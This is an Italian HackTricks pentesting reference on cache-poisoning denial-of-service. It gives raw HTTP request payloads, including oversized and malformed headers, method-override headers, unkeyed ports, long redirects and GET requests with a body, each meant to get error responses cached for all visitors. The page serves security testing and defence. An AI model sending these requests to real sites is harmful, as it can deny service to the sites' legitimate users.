Cache Poisoning to DoS

Support HackTricks

In questa pagina puoi trovare diverse variazioni da provare per far sì che il server web risponda con errori a richieste che sono valide per i server di cache

  • HTTP Header Oversize (HHO)

Invia una richiesta con una dimensione dell'intestazione maggiore di quella supportata dal server web ma minore di quella supportata dal server di cache. Il server web risponderà con una risposta 400 che potrebbe essere memorizzata nella cache:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Valori Inaspettati

Invia un'intestazione che contenga alcuni caratteri meta dannosi come e . Affinché l'attacco funzioni, devi prima eludere la cache.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Un'intestazione configurata male potrebbe essere semplicemente \: come intestazione.

Questo potrebbe funzionare anche se vengono inviati valori inaspettati, come un Content-Type: inaspettato.

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Intestazione non chiave

Alcuni siti web restituiranno un codice di stato di errore se vedono alcune intestazioni specifiche nella richiesta, come con l'intestazione X-Amz-Website-Location-Redirect: someThing:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

Se il server supporta la modifica del metodo HTTP con intestazioni come X-HTTP-Method-Override, X-HTTP-Method o X-Method-Override. È possibile richiedere una pagina valida cambiando il metodo in modo che il server non lo supporti, quindi una risposta errata viene memorizzata nella cache:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Porta non chiave

Se la porta nell'intestazione Host è riflessa nella risposta e non è inclusa nella chiave di cache, è possibile reindirizzarla a una porta non utilizzata:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

Come nel seguente esempio, x non viene memorizzato nella cache, quindi un attaccante potrebbe sfruttare il comportamento della risposta di reindirizzamento per far sì che il reindirizzamento invii un URL così grande da restituire un errore. Quindi, le persone che cercano di accedere all'URL senza la chiave x non memorizzata nella cache riceveranno la risposta di errore:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Normalizzazione del caso dell'intestazione host

L'intestazione host dovrebbe essere insensibile al caso, ma alcuni siti web si aspettano che sia in minuscolo restituendo un errore se non lo è:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Normalizzazione del percorso

Alcune pagine restituiranno codici di errore inviando dati URLencode nel percorso, tuttavia, il server cache URLdecode il percorso e memorizza la risposta per il percorso URLdecoded:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Alcuni server di cache, come Cloudflare, o server web, bloccano le richieste GET con un corpo, quindi questo potrebbe essere sfruttato per memorizzare nella cache una risposta non valida:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Riferimenti

Supporta HackTricks

Last updated